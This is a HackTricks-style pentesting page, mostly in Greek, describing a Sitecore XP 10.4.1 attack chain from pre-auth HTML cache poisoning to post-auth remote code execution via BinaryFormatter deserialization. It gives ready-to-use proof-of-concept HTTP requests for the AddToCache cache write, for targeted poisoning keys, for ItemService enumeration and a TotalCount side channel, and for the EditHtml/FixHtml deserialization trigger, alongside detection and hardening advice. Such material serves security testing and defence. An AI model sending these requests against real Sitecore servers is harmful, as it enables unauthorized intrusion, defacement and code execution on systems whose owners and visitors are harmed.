# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
{{#include ../../../banners/hacktricks-training.md}}
Αυτή η σελίδα συνοψίζει μια πρακτική αλυσίδα επίθεσης κατά του Sitecore XP 10.4.1 που εκκινεί από έναν pre‑auth XAML handler προς HTML cache poisoning και, μέσω μιας αυθεντικοποιημένης ροής UI, οδηγεί σε RCE μέσω BinaryFormatter deserialization. Οι τεχνικές γενικεύονται σε παρόμοιες εκδόσεις/συστατικά του Sitecore και παρέχουν συγκεκριμένα primitives για δοκιμές, ανίχνευση και σκληρυνση.
- Προϊόν που εξετάστηκε: Sitecore XP 10.4.1 rev. 011628
- Διορθώθηκε σε: KB1003667, KB1003734 (Ιούνιος/Ιούλιος 2025)
Δείτε επίσης:
{{#ref}}
../../../pentesting-web/cache-deception/README.md
{{#endref}}
{{#ref}}
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Το σημείο εισόδου είναι ο pre‑auth XAML handler που δηλώνεται στο web.config:
```xml
```
Πρόσβαση μέσω:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
Το δέντρο ελέγχων περιλαμβάνει το AjaxScriptManager, το οποίο, σε αιτήματα συμβάντων, διαβάζει attacker‑controlled πεδία και ανακλαστικά καλεί μεθόδους σε στοχευμένους ελέγχους:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Βασική παρατήρηση: η σελίδα XAML περιλαμβάνει ένα XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl κληρονομεί από το Sitecore.Web.UI.WebControl (μια κλάση Sitecore), η οποία περνάει την ReflectionUtil.Filter allow‑list (Sitecore.*), ξεκλειδώνοντας μεθόδους στο Sitecore WebControl.
Μαγική μέθοδος για poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Επειδή μπορούμε να στοχεύσουμε το xmlcontrol:GlobalHeader και να καλέσουμε μεθόδους του Sitecore.Web.UI.WebControl με το όνομά τους, αποκτούμε ένα pre‑auth arbitrary HtmlCache write primitive.
### Αίτημα PoC (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Σημειώσεις:
- __SOURCE είναι το clientID του xmlcontrol:GlobalHeader μέσα στο Sitecore.Shell.Xaml.WebControl (συνήθως σταθερό όπως ctl00_ctl00_ctl05_ctl03 καθώς προέρχεται από static XAML).
- __PARAMETERS μορφή είναι Method("arg1","arg2").
## Τι να poison: Cache key construction
Τυπική HtmlCache key construction που χρησιμοποιείται από τα Sitecore controls:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
```
Παράδειγμα targeted poisoning για ένα γνωστό sublayout:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Απαρίθμηση cacheable items και “vary by” διαστάσεων
Εάν το ItemService έχει (λανθασμένα) εκτεθεί ανώνυμα, μπορείτε να απαριθμήσετε cacheable components για να εξαγάγετε τα ακριβή keys.
Γρήγορη δοκιμή:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Λίστα αντικειμένων που μπορούν να cache και flags:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Αναζητήστε πεδία όπως Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Τα ονόματα συσκευών μπορούν να απαριθμηθούν μέσω:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
Ακόμα και όταν το ItemService υποδύεται έναν περιορισμένο λογαριασμό (π.χ., ServicesAPI) και επιστρέφει έναν κενό πίνακα Results, το TotalCount μπορεί ακόμη να αντικατοπτρίζει pre‑ACL Solr hits. Μπορείτε να brute‑force item groups/ids με wildcards και να παρακολουθήσετε το TotalCount να συγκλίνει για να χαρτογραφήσετε το εσωτερικό περιεχόμενο και τις συσκευές:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Προσβάσιμο μέσω του pipeline step convertToRuntimeHtml ConvertWebControls, το οποίο αναζητά ένα στοιχείο με id {iframeId}_inner και το base64 αποκωδικοποιεί + αποσειριοποιεί, και στη συνέχεια εισάγει το προκύπτον string στο HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Ενεργοποίηση (επαληθευμένος, δικαιώματα Content Editor). Ο διάλογος FixHtml καλεί convertToRuntimeHtml. Από άκρο σε άκρο χωρίς κλικ στο UI:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Δημιουργία gadget: χρησιμοποιήστε ysoserial.net / YSoNet με BinaryFormatter για να παράγετε ένα base64 payload που επιστρέφει ένα string. Τα περιεχόμενα του string γράφονται στο HTML από ConvertWebControls μετά την εκτέλεση των παρενεργειών της αποσειριοποίησης.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Πλήρης αλυσίδα
1) Pre‑auth attacker δηλητηριάζει το HtmlCache με αυθαίρετο HTML ανακλαστικά καλώντας WebControl.AddToCache μέσω XAML AjaxScriptManager.
2) Το μολυσμένο HTML παρέχει JavaScript που ωθεί έναν authenticated Content Editor χρήστη στη ροή FixHtml.
3) Η σελίδα FixHtml ενεργοποιεί convertToRuntimeHtml → ConvertWebControls, το οποίο αποσειριοποιεί attacker‑controlled base64 μέσω BinaryFormatter → RCE υπό την ταυτότητα του Sitecore app pool.
## Ανίχνευση
- Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
## Σκληροποίηση
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`.
- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels.
- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
## References
- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}